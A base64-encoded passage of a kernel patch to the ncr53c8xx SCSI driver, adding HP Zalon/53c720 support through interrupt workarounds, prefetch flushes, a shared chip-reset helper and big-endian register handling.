LS0tLS0tLS0tLSovLHsKQEAgLTE4NTYsOCArMTkyMSwxMyBAQAogCS8qCiAJKioJLi4uIHNpZ25h
bCBjb21wbGV0aW9uIHRvIHRoZSBob3N0CiAJKi8KKyNpZmRlZiBTSU1VTEFURURfSU5URkxZCisJ
U0NSX0lOVCwKKwkJU0lSX0lOVEZMWSwKKyNlbHNlCiAJU0NSX0lOVF9GTFksCiAJCTAsCisjZW5k
aWYKIAkvKgogCSoqCUF1ZiB6dSBuZXVlbiBTY2hhbmR0YXRlbiEKIAkqLwpAQCAtMTg3Niw4ICsx
OTQ2LDEzIEBACiAJU0NSX0lOVCwKIAkJU0lSX0RPTkVfT1ZFUkZMT1csCiB9LyotLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS08IERPTkVfRU5EID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLyx7CisjaWZk
ZWYgU0lNVUxBVEVEX0lOVEZMWQorCVNDUl9JTlQsCisJCVNJUl9JTlRGTFksCisjZWxzZQogCVND
Ul9JTlRfRkxZLAogCQkwLAorI2VuZGlmCiAJU0NSX0NPUFkgKDQpLAogCQlSQUREUiAodGVtcCks
CiAJCVBBRERSIChkb25lX3BvcyksCkBAIC0yMDU1LDYgKzIxMzAsMTAgQEAKIAkJUkFERFIgKGRz
YSksCiAJCVBBRERSIChsb2FkcG9zMSksCiAJLyoKKwkqKglGbHVzaCBzY3JpcHQgcHJlZmV0Y2gg
aWYgcmVxdWlyZWQKKwkqLworCVBSRUZFVENIX0ZMVVNICisJLyoKIAkqKgl0aGVuIHdlIGRvIHRo
ZSBhY3R1YWwgY29weS4KIAkqLwogCVNDUl9DT1BZIChzaXplb2YgKHN0cnVjdCBoZWFkKSksCkBA
IC0yMTE2LDYgKzIxOTUsMTAgQEAKIAlTQ1JfQ09QWV9GICg0KSwKIAkJUkFERFIgKHRlbXApLAog
CQlQQUREUiAobmV4dXNfaW5kaXJlY3QpLAorCS8qCisJKioJRmx1c2ggc2NyaXB0IHByZWZldGNo
IGlmIHJlcXVpcmVkCisJKi8KKwlQUkVGRVRDSF9GTFVTSAogCVNDUl9DT1BZICg0KSwKIH0vKi0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08IE5FWFVTX0lORElSRUNUID4tLS0tLS0tLS0tLS0tLS0t
LS0tKi8sewogCQkwLApAQCAtMjI3Miw2ICsyMzU1LDEwIEBACiAJCVJBRERSIChkc2EpLAogCQlQ
QUREUkggKHNraXAyKSwKIAkvKgorCSoqCUZsdXNoIHNjcmlwdCBwcmVmZXRjaCBpZiByZXF1aXJl
ZAorCSovCisJUFJFRkVUQ0hfRkxVU0gKKwkvKgogCSoqCXRoZW4gd2UgZG8gdGhlIGFjdHVhbCBj
b3B5LgogCSovCiAJU0NSX0NPUFkgKHNpemVvZiAoc3RydWN0IGhlYWQpKSwKQEAgLTI3ODIsNiAr
Mjg2OSwxMCBAQAogCVNDUl9DT1BZX0YgKDQpLAogCQlSQUREUiAoc2NyYXRjaGEpLAogCQlQQURE
UkggKHN0YXJ0X3JhbTApLAorCS8qCisJKioJRmx1c2ggc2NyaXB0IHByZWZldGNoIGlmIHJlcXVp
cmVkCisJKi8KKwlQUkVGRVRDSF9GTFVTSAogCVNDUl9DT1BZIChzaXplb2YgKHN0cnVjdCBzY3Jp
cHQpKSwKIH0vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08IFNUQVJUX1JBTTAgPi0tLS0tLS0t
LS0tLS0tLS0tLS0tKi8sewogCQkwLApAQCAtMjc5OSw2ICsyODkwLDE3IEBACiAJCVBBRERSIChz
dGFydHBvcyksCiAJU0NSX0pVTVAsCiAJCVBBRERSIChzdGFydCksCit9LyotLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tPCBXQUlUX0RNQSA+LS0tLS0tLS0tLS0tLS0tLS0tLSovLHsKKwkvKgorCSoq
CUZvciBIUCBaYWxvbi81M2M3MjAgc3lzdGVtcywgdGhlIFphbG9uIGludGVyZmFjZQorCSoqCWJl
dHdlZW4gQ1BVIGFuZCA1M2M3MjAgZG9lcyBwcmVmZXRjaGVzLCB3aGljaCBjYXVzZXMKKwkqKglw
cm9ibGVtcyB3aXRoIHNlbGYgbW9kaWZ5aW5nIHNjcmlwdHMuICBUaGUgcHJvYmxlbQorCSoqCWlz
IG92ZXJjb21lIGJ5IGNhbGxpbmcgYSBkdW1teSBzdWJyb3V0aW5lIGFmdGVyIGVhY2gKKwkqKglt
b2RpZmljYXRpb24sIHRvIGZvcmNlIGEgcmVmZXRjaCBvZiB0aGUgc2NyaXB0IG9uCisJKioJcmV0
dXJuIGZyb20gdGhlIHN1YnJvdXRpbmUuCisJKi8KKwlTQ1JfUkVUVVJOLAorCQkwLAogfS8qLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLTwgU05PT1BURVNUID4tLS0tLS0tLS0tLS0tLS0tLS0tKi8s
ewogCS8qCiAJKioJUmVhZCB0aGUgdmFyaWFibGUuCkBAIC0zMTMyLDkgKzMyMzQsMTIgQEAKICNk
ZWZpbmUgYnVyc3RfbGVuZ3RoKGJjKSAoIShiYykpPyAwIDogMSA8PCAoYmMpCiAKIC8qCi0gKglC
dXJzdCBjb2RlIGZyb20gaW8gcmVnaXN0ZXIgYml0cy4KKyAqCUJ1cnN0IGNvZGUgZnJv
bSBpbyByZWdpc3RlciBiaXRzLiAgQnVyc3QgZW5hYmxlIGlzIGN0ZXN0MCBmb3IgYzcyMCwKKyAq
CWN0ZXN0NCBmb3Igb3RoZXJzLgogICovCi0jZGVmaW5lIGJ1cnN0X2NvZGUoZG1vZGUsIGN0ZXN0
NCwgY3Rlc3Q1KSBcCisjZGVmaW5lIGJ1cnN0X2NvZGUoZG1vZGUsIGN0ZXN0MCwgY3Rlc3Q0LCBj
dGVzdDUpIFwKKwkobnAtPmRldmljZV9pZCA9PSBQU0VVRE9fWkFMT05fNzIwX0lEKSA/IFwKKwko
Y3Rlc3QwKSAmIDB4ODA/IDAgOiAoKChkbW9kZSkgJiAweGMwKSA+PiA2KSArIDEgOiBcCiAJKGN0
ZXN0NCkgJiAweDgwPyAwIDogKCgoZG1vZGUpICYgMHhjMCkgPj4gNikgKyAoKGN0ZXN0NSkgJiAw
eDA0KSArIDEKIAogLyoKQEAgLTMxNDIsMTIgKzMyNDcsMTUgQEAKICAqLwogc3RhdGljIGlubGlu
ZSB2b2lkIG5jcl9pbml0X2J1cnN0KG5jYl9wIG5wLCB1X2NoYXIgYmMpCiB7Ci0JbnAtPnJ2X2N0
ZXN0NAkmPSB+MHg4MDsKKwl1X2NoYXIgKmJlID0gKG5wLT5kZXZpY2VfaWQgPT0gUFNFVURPX1pB
TE9OXzcyMF9JRCkgPworCQkmbnAtPnJ2X2N0ZXN0MCA6ICZucC0+cnZfY3Rlc3Q0OworCisJKmJl
CQkmPSB+MHg4MDsKIAlucC0+cnZfZG1vZGUJJj0gfigweDMgPDwgNik7CiAJbnAtPnJ2X2N0ZXN0
NQkmPSB+MHg0OwogCiAJaWYgKCFiYykgewotCQlucC0+cnZfY3Rlc3Q0CXw9IDB4ODA7CisJCSpi
ZQkJfD0gMHg4MDsKIAl9CiAJZWxzZSB7CiAJCS0tYmM7CkBAIC0zMjI0LDYgKzMzMzIsNyBAQAog
CW5wLT5zdl9zY250bDMJPSBJTkIobmNfc2NudGwzKSAmIDB4MDc7CiAJbnAtPnN2X2Rtb2RlCT0g
SU5CKG5jX2Rtb2RlKSAgJiAweGNlOwogCW5wLT5zdl9kY250bAk9IElOQihuY19kY250bCkgICYg
MHhhODsKKwlucC0+c3ZfY3Rlc3QwCT0gSU5CKG5jX2N0ZXN0MCkgJiAweDg0OwogCW5wLT5zdl9j
dGVzdDMJPSBJTkIobmNfY3Rlc3QzKSAmIDB4MDE7CiAJbnAtPnN2X2N0ZXN0NAk9IElOQihuY19j
dGVzdDQpICYgMHg4MDsKIAlucC0+c3ZfY3Rlc3Q1CT0gSU5CKG5jX2N0ZXN0NSkgJiAweDI0OwpA
QCAtMzMxMCwxMCArMzQxOSwxMSBAQAogCW5wLT5ydl9zY250bDAJPSBucC0+c3Zfc2NudGwwOwog
CW5wLT5ydl9kbW9kZQk9IG5wLT5zdl9kbW9kZTsKIAlucC0+cnZfZGNudGwJPSBucC0+c3ZfZGNu
dGw7CisJbnAtPnJ2X2N0ZXN0MAk9IG5wLT5zdl9jdGVzdDA7CiAJbnAtPnJ2X2N0ZXN0Mwk9IG5w
LT5zdl9jdGVzdDM7CiAJbnAtPnJ2X2N0ZXN0NAk9IG5wLT5zdl9jdGVzdDQ7CiAJbnAtPnJ2X2N0
ZXN0NQk9IG5wLT5zdl9jdGVzdDU7Ci0JYnVyc3RfbWF4CT0gYnVyc3RfY29kZShucC0+c3ZfZG1v
ZGUsIG5wLT5zdl9jdGVzdDQsIG5wLT5zdl9jdGVzdDUpOworCWJ1cnN0X21heAk9IGJ1cnN0X2Nv
ZGUobnAtPnN2X2Rtb2RlLCBucC0+c3ZfY3Rlc3QwLCBucC0+c3ZfY3Rlc3Q0LCBucC0+c3ZfY3Rl
c3Q1KTsKICNlbHNlCiAKIAkvKgpAQCAtMzMyMSw3ICszNDMxLDcgQEAKIAkqLwogCWJ1cnN0X21h
eAk9IGRyaXZlcl9zZXR1cC5idXJzdF9tYXg7CiAJaWYgKGJ1cnN0X21heCA9PSAyNTUpCi0JCWJ1
cnN0X21heCA9IGJ1cnN0X2NvZGUobnAtPnN2X2Rtb2RlLCBucC0+c3ZfY3Rlc3Q0LCBucC0+c3Zf
Y3Rlc3Q1KTsKKwkJYnVyc3RfbWF4ID0gYnVyc3RfY29kZShucC0+c3ZfZG1vZGUsIG5wLT5zdl9j
dGVzdDAsIG5wLT5zdl9jdGVzdDQsIG5wLT5zdl9jdGVzdDUpOwogCWlmIChidXJzdF9tYXggPiA3
KQogCQlidXJzdF9tYXggPSA3OwogCWlmIChidXJzdF9tYXggPiBucC0+bWF4YnVyc3QpCkBAIC0z
MzQ0LDYgKzM0NTQsMTIgQEAKIAkJbnAtPnJ2X2N0ZXN0Mwl8PSBXUklFOwkvKiBXcml0ZSBhbmQg
SW52YWxpZGF0ZSAqLwogCWlmIChucC0+ZmVhdHVyZXMgJiBGRV9ERlMpCiAJCW5wLT5ydl9jdGVz
dDUJfD0gREZTOwkJLyogRG1hIEZpZm8gU2l6ZSAqLworCWlmIChucC0+ZmVhdHVyZXMgJiBGRV9N
VVgpCisJCW5wLT5ydl9jdGVzdDQJfD0gTVVYOwkJLyogSG9zdCBidXMgbXVsdGlwbGV4IG1vZGUg
Ki8KKwlpZiAobnAtPmZlYXR1cmVzICYgRkVfRUEpCisJCW5wLT5ydl9kY250bAl8PSBFQTsJCS8q
IEVuYWJsZSBBQ0sgKi8KKwlpZiAobnAtPmZlYXR1cmVzICYgRkVfRUhQKQorCQlucC0+cnZfY3Rl
c3QwCXw9IEVIUDsJCS8qIEV2ZW4gaG9zdCBwYXJpdHkgKi8KIAogCS8qCiAJKioJU2VsZWN0IHNv
bWUgb3RoZXIKQEAgLTM1MjMsNiArMzYzOSw3IEBACiAJcmV0dXJuIDA7CiB9CiAKKwogLyoKICoq
CUhvc3QgYXR0YWNoIGFuZCBpbml0aWFsaXNhdGlvbnMuCiAqKgpAQCAtMzU0Myw2ICszNjYwLDcg
QEAKIAluY3JfbnZyYW0gKm52cmFtID0gZGV2aWNlLT5udnJhbTsKIAlpbnQgaTsKIAorI2lmbmRl
ZiBFTkFCTEVfU0NTSV9aQUxPTgogCXByaW50ayhLRVJOX0lORk8gIm5jcjUzYyVzLSVkOiByZXYg
MHgleCBvbiBwY2kgYnVzICVkIGRldmljZSAlZCBmdW5jdGlvbiAlZCAiCiAjaWZkZWYgX19zcGFy
Y19fCiAJCSJpcnEgJXNcbiIsCkBAIC0zNTU3LDYgKzM2NzUsNyBAQAogI2Vsc2UKIAkJZGV2aWNl
LT5zbG90LmlycSk7CiAjZW5kaWYKKyNlbmRpZgogCiAJLyoKIAkqKglBbGxvY2F0ZSBob3N0X2Rh
dGEgc3RydWN0dXJlCkBAIC0zNjQ1LDcgKzM3NjQsNiBAQAogCSoqCU5vdyB0aGUgSU5CIElOVyBJ
TkwgT1VUQiBPVVRXIE9VVEwgbWFjcm9zCiAJKioJY2FuIGJlIHVzZWQgc2FmZWx5LgogCSovCi0K
IAlucC0+cmVnID0gKHN0cnVjdCBuY3JfcmVnKikgbnAtPnZhZGRyOwogCiAjZW5kaWYgLyogIWRl
ZmluZWQgU0NTSV9OQ1JfSU9NQVBQRUQgKi8KQEAgLTM2NTQsNyArMzc3Miw5IEBACiAJKioJVHJ5
IHRvIG1hcCB0aGUgY29udHJvbGxlciBjaGlwIGludG8gaW9zcGFjZS4KIAkqLwogCisjaWZuZGVm
IEVOQUJMRV9TQ1NJX1pBTE9OCiAJcmVxdWVzdF9yZWdpb24oZGV2aWNlLT5zbG90LmlvX3BvcnQs
IDEyOCwgIm5jcjUzYzh4eCIpOworI2VuZGlmCiAJbnAtPmJhc2VfaW8gPSBkZXZpY2UtPnNsb3Qu
aW9fcG9ydDsKIAogI2lmZGVmIFNDU0lfTkNSX05WUkFNX1NVUFBPUlQKQEAgLTM3NjgsOSArMzg4
OCw3IEBACiAJKioJUmVzZXQgY2hpcC4KIAkqLwogCi0JT1VUQiAobmNfaXN0YXQsICBT
UlNUKTsKLQlVREVMQVkgKDEwMCk7Ci0JT1VUQiAobmNfaXN0YXQsICAwICAgKTsKKwluY3JfY2hp
cF9yZXNldChucCwgMTAwKTsKIAogCS8qCiAJKioJTm93IGNoZWNrIHRoZSBjYWNoZSBoYW5kbGlu
ZyBvZiB0aGUgcGNpIGNoaXBzZXQuCkBAIC0zODg3LDcgKzQwMDUsOSBAQAogI2lmZGVmIERFQlVH
X05DUjUzQzhYWAogCQlwcmludGsoS0VSTl9ERUJVRyAiJXM6IHJlbGVhc2luZyBJTyByZWdpb24g
JXhbJWRdXG4iLCBuY3JfbmFtZShucCksIG5wLT5iYXNlX2lvLCAxMjgpOwogI2VuZGlmCisjaWZu
ZGVmIEVOQUJMRV9TQ1NJX1pBTE9OCiAJCXJlbGVhc2VfcmVnaW9uKG5wLT5iYXNlX2lvLCAxMjgp
OworI2VuZGlmCiAJfQogCWlmIChucC0+aXJxKSB7CiAjaWZkZWYgREVCVUdfTkNSNTNDOFhYCkBA
IC0zOTEyLDcgKzQwMzIsNyBAQAogCXNjc2lfdW5yZWdpc3RlcihpbnN0YW5jZSk7CiAKICAgICAg
ICAgcmV0dXJuIC0xOwotIH0KK30KIAogCiAvKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KQEAgLTQ2OTksOSArNDgxOSw3IEBACiAJCQki
Y29tbWFuZCBwcm9jZXNzaW5nIHN1c3BlbmRlZCBmb3IgJWQgc2Vjb25kc1xuIiwKIAkJCW5jcl9u
YW1lKG5wKSwgc2V0dGxlX2RlbGF5KTsKIAotCU9VVEIgKG5jX2lzdGF0LCBTUlNUKTsKLQlVREVM
QVkgKDEwMCk7Ci0JT1VUQiAobmNfaXN0YXQsIDApOworCW5jcl9jaGlwX3Jlc2V0KG5wLCAxMDAp
OwogCVVERUxBWSAoMjAwMCk7CS8qIFRoZSA4OTUgbmVlZHMgdGltZSBmb3IgdGhlIGJ1cyBtb2Rl
IHRvIHNldHRsZSAqLwogCWlmIChlbmFiX2ludCkKIAkJT1VUVyAobmNfc2llbiwgUlNUKTsKQEAg
LTQ3MTAsNyArNDgyOCw4IEBACiAJKioJcHJvcGVybHkgc2V0IElSUSBtb2RlLCBwcmlvciB0byBy
ZXNldHRpbmcgdGhlIGJ1cy4KIAkqLwogCU9VVEIgKG5jX3N0ZXN0MywgVEUpOwotCU9VVEIgKG5j
X2RjbnRsLCAobnAtPnJ2X2RjbnRsICYgSVJRTSkpOworCWlmIChucC0+ZGV2aWNlX2lkICE9IFBT
RVVET19aQUxPTl83MjBfSUQpCisJCU9VVEIgKG5jX2RjbnRsLCAobnAtPnJ2X2RjbnRsICYgSVJR
TSkpOwogCU9VVEIgKG5jX3NjbnRsMSwgQ1JTVCk7CiAJVURFTEFZICgyMDApOwogCkBAIC00OTE3
LDYgKzUwMzYsMTAgQEAKIAlsY2JfcCBscDsKIAlpbnQgdGFyZ2V0LCBsdW47CiAJaW50IGk7CisJ
Y2hhciBpbnN0X25hbWVbMTZdOworCisJLyogTG9jYWwgY29weSBzbyB3ZSBkb24ndCBhY2Nlc3Mg
bnAgYWZ0ZXIgZnJlZWluZyBpdCEgKi8KKwlzdHJuY3B5KGluc3RfbmFtZSwgbmNyX25hbWUobnAp
LCAxNik7CiAKIAlwcmludGsoIiVzOiByZWxlYXNpbmcgaG9zdCByZXNvdXJjZXNcbiIsIG5jcl9u
YW1lKG5wKSk7CiAKQEAgLTQ5NjMsMTIgKzUwODYsMTEgQEAKIAkqLwogCiAJcHJpbnRrKCIlczog
cmVzZXR0aW5nIGNoaXBcbiIsIG5jcl9uYW1lKG5wKSk7Ci0JT1VUQiAobmNfaXN0YXQsICBTUlNU
KTsKLQlVREVMQVkgKDEwMCk7Ci0JT1VUQiAobmNfaXN0YXQsICAwICAgKTsKKwluY3JfY2hpcF9y
ZXNldChucCwgMTAwKTsKIAogCU9VVEIobmNfZG1vZGUsCW5wLT5zdl9kbW9kZSk7CiAJT1VUQihu
Y19kY250bCwJbnAtPnN2X2RjbnRsKTsKKwlPVVRCKG5jX2N0ZXN0MCwJbnAtPnN2X2N0ZXN0MCk7
CiAJT1VUQihuY19jdGVzdDMsCW5wLT5zdl9jdGVzdDMpOwogCU9VVEIobmNfY3Rlc3Q0LAlucC0+
c3ZfY3Rlc3Q0KTsKIAlPVVRCKG5jX2N0ZXN0NSwJbnAtPnN2X2N0ZXN0NSk7CkBAIC00OTkxLDcg
KzUxMTMsOSBAQAogI2lmZGVmIERFQlVHX05DUjUzQzhYWAogCXByaW50aygiJXM6IHJlbGVhc2lu
ZyBJTyByZWdpb24gJXhbJWRdXG4iLCBuY3JfbmFtZShucCksIG5wLT5iYXNlX2lvLCAxMjgpOwog
I2VuZGlmCisjaWZuZGVmIEVOQUJMRV9TQ1NJX1pBTE9OCiAJcmVsZWFzZV9yZWdpb24obnAtPmJh
c2VfaW8sIDEyOCk7CisjZW5kaWYKIAogCS8qCiAJKioJRnJlZSBhbGxvY2F0ZWQgY2NiKHMpCkBA
IC01MDM2LDcgKzUxNjAsNyBAQAogCQltX2ZyZWVfZG1hKG5wLT5jY2IsIHNpemVvZihzdHJ1Y3Qg
Y2NiKSwgIkNDQiIpOwogCW1fZnJlZV9kbWEobnAsIHNpemVvZihzdHJ1Y3QgbmNiKSwgIk5DQiIp
OwogCi0JcHJpbnRrKCIlczogaG9zdCByZXNvdXJjZXMgc3VjY2Vzc2Z1bGx5IHJlbGVhc2VkXG4i
LCBuY3JfbmFtZShucCkpOworCXByaW50aygiJXM6IGhvc3QgcmVzb3VyY2VzIHN1Y2Nlc3NmdWxs
eSByZWxlYXNlZFxuIiwgaW5zdF9uYW1lKTsKIAogCXJldHVybiAxOwogfQpAQCAtNTA2MSw3ICs1
MTg1LDYgQEAKIAkvKgogCSoqCVNhbml0eSBjaGVjawogCSovCi0KIAlpZiAoIWNwIHx8IGNwLT5t
YWdpYyAhPSBDQ0JfTUFHSUMgfHwgIWNwLT5jbWQpCiAJCXJldHVybjsKIApAQCAtNTQyOCw2ICs1
NTUxLDI4IEBACiAJfQogfQogCisvKgorKiogUmVzZXQgbmNyIGNoaXAuCisqLworCisvKiBTb21l
IGluaXRpYWxpc2F0aW9uIG11c3QgYmUgZG9uZSBpbW1lZGlhdGVseSBmb2xsb3dpbmcgcmVzZXQs
IGZvciA1M2M3MjAsCisgKiBhdCBsZWFzdC4gIEVBIChkY250bCBiaXQgNSkgaXNuJ3Qgc2V0IGhl
cmUgYXMgaXQgaXMgc2V0IG9uY2Ugb25seSBpbgorICogdGhlIF9kZXRlY3QgZnVuY3Rpb24uCisg
Ki8KKworc3RhdGljIHZvaWQgbmNyX2NoaXBfcmVzZXQobmNiX3AgbnAsIGludCBkZWxheSkKK3sK
KwlPVVRCIChuY19pc3RhdCwgIFNSU1QpOworCVVERUxBWSAoZGVsYXkpOworCU9VVEIgKG5jX2lz
dGF0LCAgMCAgICk7CisKKwlpZiAobnAtPmZlYXR1cmVzICYgRkVfRUhQKQorCQlPVVRCIChuY19j
dGVzdDAsIEVIUCk7CisJaWYgKG5wLT5mZWF0dXJlcyAmIEZFX01VWCkKKwkJT1VUQiAobmNfY3Rl
c3Q0LCBNVVgpOworfQorCisKIC8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PQogKioKICoqCkBAIC01NDczLDcgKzU2MTgsNyBAQAogCSov
CiAJbnAtPnNxdWV1ZXB1dCA9IDA7CiAJbnAtPnNjcmlwdDAtPnN0YXJ0cG9zWzBdID0gY3B1X3Rv
X3NjcihOQ0JfU0NSSVBUSF9QSFlTIChucCwgdHJ5bG9vcCkpOwotCisjaWZkZWYgU0NT
SV9OQ1JfQ0NCX0RPTkVfU1VQUE9SVAogCS8qCiAJKioJQ2xlYXIgRG9uZSBRdWV1ZQogCSovCkBA
IC01NDkwLDcgKzU2MzUsNyBAQAogCW5wLT5jY2JfZG9uZV9pYyA9IE1BWF9ET05FLTE7CiAJbnAt
PnNjcmlwdGgwLT5kb25lX3F1ZXVlWzUqKE1BWF9ET05FLTEpICsgNF0gPQogCQkJY3B1X3RvX3Nj
cihOQ0JfU0NSSVBUX1BIWVMgKG5wLCBkb25lX3BsdWcpKTsKLQorI2VuZGlmCiAJLyoKIAkqKglX
YWtldXAgYWxsIHBlbmRpbmcgam9icy4KIAkqLwpAQCAtNTUwMCw4ICs1NjQ1LDEwIEBACiAJKioJ
SW5pdCBjaGlwLgogCSovCiAKLQlPVVRCIChuY19pc3RhdCwgIDB4MDAgICApOwkvKiAgUmVtb3Zl
IFJlc2V0LCBhYm9ydCAqLwotCVVERUxBWSAoMjAwMCk7CS8qIFRoZSA4OTUgbmVlZHMgdGltZSBm
b3IgdGhlIGJ1cyBtb2RlIHRvIHNldHRsZSAqLworCS8qIFJlbW92ZSByZXNldDsgYmlnIGRlbGF5
IGJlY2F1c2UgdGhlIDg5NSBuZWVkcyB0aW1lIGZvciB0aGUKKwkgKiBidXMgbW9kZSB0byBzZXR0
bGUKKwkgKi8KKwluY3JfY2hpcF9yZXNldChucCwgMjAwMCk7CiAKIAlPVVRCIChuY19zY250bDAs
IG5wLT5ydl9zY250bDAgfCAweGMwKTsKIAkJCQkJLyogIGZ1bGwgYXJiLiwgZW5hIHBhcml0eSwg
cGFyLT5BVE4gICovCkBAIC01NTE2LDYgKzU2NjMsNyBAQAogCU9VVEIgKG5jX2N0ZXN0NSwgbnAt
PnJ2X2N0ZXN0NSk7CS8qIExhcmdlIGZpZm8gKyBsYXJnZSBidXJzdCAqLwogCiAJT1VUQiAobmNf
ZGNudGwgLCBOT0NPTXxucC0+cnZfZGNudGwpOwkvKiBQcm90ZWN0IFNGQlIgKi8KKwlPVVRCIChu
Y19jdGVzdDAsIG5wLT5ydl9jdGVzdDApOwkvKiA3MjA6IENESVMgYW5kIEVIUCAqLwogCU9VVEIg
KG5jX2N0ZXN0MywgbnAtPnJ2X2N0ZXN0Myk7CS8qIFdyaXRlIGFuZCBpbnZhbGlkYXRlICovCiAJ
T1VUQiAobmNfY3Rlc3Q0LCBucC0+cnZfY3Rlc3Q0KTsJLyogTWFzdGVyIHBhcml0eSBjaGVja2lu
ZyAqLwogCkBAIC03MTAwLDYgKzcyNDgsMTggQEAKIAlpZiAoREVCVUdfRkxBR1MgJiBERUJVR19U
SU5ZKSBwcmludGsgKCJJIyVkIiwgbnVtKTsKIAogCXN3aXRjaCAobnVtKSB7CisJY2FzZSBTSVJf
SU5URkxZOgorCQkvKgorCQkqKglUaGlzIGlzIHVzZWQgZm9yIEhQIFphbG9uLzUzYzcyMCB3aGVy
ZSBJTlRGTFkKKwkJKioJb3BlcmF0aW9uIGlzIGN1cnJlbnRseSBicm9rZW4uCisJCSovCisJCW5j
cl93YWtldXBfZG9uZShucCk7CisjaWZkZWYgU0NTSV9OQ1JfQ0NCX0RPTkVfU1VQUE9SVAorCQlP
VVRMKG5jX2RzcCwgTkNCX1NDUklQVF9QSFlTIChucCwgZG9uZV9lbmQpICsgOCk7CisjZWxzZQor
CQlPVVRMKG5jX2RzcCwgTkNCX1NDUklQVF9QSFlTIChucCwgc3RhcnQpKTsKKyNlbmRpZgorCQly
ZXR1cm47CiAJY2FzZSBTSVJfUkVTRUxfTk9fTVNHX0lOOgogCWNhc2UgU0lSX1JFU0VMX05PX0lE
RU5USUZZOgogCQkvKgpAQCAtNzg0Niw3ICs4MDA2LDExIEBACiAJKi8KIAl0cC0+Z2V0c2NyWzBd
ID0JY3B1X3RvX3Njcihjb3B5XzEpOwogCXRwLT5nZXRzY3JbMV0gPSBjcHVfdG9fc2NyKHZ0b2J1
cyAoJnRwLT5zdmFsKSk7CisjaWZkZWYgU0NTSV9OQ1JfQklHX0VORElBTgorCXRwLT5nZXRzY3Jb
Ml0gPSBjcHVfdG9fc2NyKG5jcl9yZWdfYnVzX2FkZHIobmNfc3hmZXIpIF4gMyk7CisjZWxzZQog
CXRwLT5nZXRzY3JbMl0gPSBjcHVfdG9fc2NyKG5jcl9yZWdfYnVzX2FkZHIobmNfc3hmZXIpKTsK
KyNlbmRpZgogICAKIAkvKgogCSoqCUxvYWQgdGhlIHRpbWluZyByZWdpc3Rlci4KQEAgLTc4NTQs
NyArODAxOCwxMSBAQAogCSovCiAJdHAtPmdldHNjclszXSA9CWNwdV90b19zY3IoY29weV8xKTsK
IAl0cC0+Z2V0c2NyWzRdID0gY3B1X3RvX3Njcih2dG9idXMgKCZ0cC0+d3ZhbCkpOworI2lmZGVm
IFNDU0lfTkNSX0JJR19FTkRJQU4KKwl0cC0+Z2V0c2NyWzVdID0gY3B1X3RvX3NjcihuY3JfcmVn
X2J1c19hZGRyKG5jX3NjbnRsMykgXiAzKTsKKyNlbHNlCiAJdHAtPmdldHNjcls1XSA9IGNwdV90
b19zY3IobmNyX3JlZ19idXNfYWRkcihuY19zY250bDMpKTsKKyNlbmRpZgogCiAJLyoKIAkqKglH
ZXQgdGhlIElERU5USUZZIG1lc3NhZ2UgYW5kIHRoZSBsdW4uCkBAIC03ODgzLDEwICs4MDUxLDE3
IEBACiAJLyoKIAkqKglUaGVzZSBhc3NlcnQncyBzaG91bGQgYmUgbW92ZWQgYXQgZHJpdmVyIGlu
aXRpYWxpc2F0aW9ucy4KIAkqLworI2lmZGVmIFNDU0lfTkNSX0JJR19FTkRJQU4KKwlhc3NlcnQg
KCggKG9mZnNldG9mKHN0cnVjdCBuY3JfcmVnLCBuY19zeGZlcikgXgorCQlvZmZzZXRvZihzdHJ1
Y3QgdGNiICAgICwgc3ZhbCAgICApKSAmMykgPT0gMyk7CisJYXNzZXJ0ICgoIChvZmZzZXRvZihz
dHJ1Y3QgbmNyX3JlZywgbmNfc2NudGwzKSBeCisJCW9mZnNldG9mKHN0cnVjdCB0Y2IgICAgLCB3
dmFsICAgICkpICYzKSA9PSAzKTsKKyNlbHNlCiAJYXNzZXJ0ICgoIChvZmZzZXRvZihzdHJ1Y3Qg
bmNyX3JlZywgbmNfc3hmZXIpIF4KIAkJb2Zmc2V0b2Yoc3RydWN0IHRjYiAgICAsIHN2YWwgICAg
KSkgJjMpID09IDApOwogCWFzc2VydCAoKCAob2Zmc2V0b2Yoc3RydWN0IG5jcl9yZWcsIG5jX3Nj
bnRsMykgXgogCQlvZmZzZXRvZihzdHJ1Y3QgdGNiICAgICwgd3ZhbCAgICApKSAmMykgPT0gMCk7
CisjZW5kaWYKIH0KIAogCkBAIC04MjMwLDkgKzg0MDUsNyBAQAogCS8qCiAJKioJUmVzZXQgbmNy
IGNoaXAKIAkqLwotCU9VVEIgKG5jX2lzdGF0LCAgU1JTVCk7Ci0JVURFTEFZICgxMDApOwotCU9V
VEIgKG5jX2lzdGF0LCAgMCAgICk7CisJbmNyX2NoaXBfcmVzZXQobnAsIDEwMCk7CiAJLyoKIAkq
KgljaGVjayBmb3IgdGltZW91dAogCSovCkBAIC04NDU5LDcgKzg2MzIsNyBAQAogCWlmIChucC0+
bXVsdGlwbGllciAhPSBtdWx0IHx8IChzY250bDMgJiA3KSA8IDMgfHwgIShzY250bDMgJiAxKSkg
ewogCQl1bnNpZ25lZCBmMjsKIAotCQlPVVRCKG5jX2lzdGF0LCBTUlNUKTsgVURFTEFZICg1KTsg
T1VUQihuY19pc3RhdCwgMCk7CisJCW5jcl9jaGlwX3Jlc2V0KG5wLCA1KTsKIAogCQkodm9pZCkg
bmNyZ2V0ZnJlcSAobnAsIDExKTsJLyogdGhyb3cgYXdheSBmaXJzdCByZXN1bHQgKi8K
IAkJZjEgPSBuY3JnZXRmcmVxIChucCwgMTEpOwpAQCAtOTIxMCw2ICs5MzgzLDcgQEAKICovCiAK
IHN0YXRpYyB1X3Nob3J0CW5jcl9jaGlwX2lkc1tdICAgX19pbml0ZGF0YSA9IHsKKwlQU0VVRE9f
WkFMT05fNzIwX0lELAogCVBDSV9ERVZJQ0VfSURfTkNSXzUzQzgxMCwKIAlQQ0lfREVWSUNFX0lE
X05DUl81M0M4MTUsCiAJUENJX0RFVklDRV9JRF9OQ1JfNTNDODIwLApAQCAtOTIyNCw2ICs5Mzk4
LDg5IEBACiAJUENJX0RFVklDRV9JRF9OQ1JfNTNDMTUxMEQKIH07CiAKKyNpZmRlZiBFTkFCTEVf
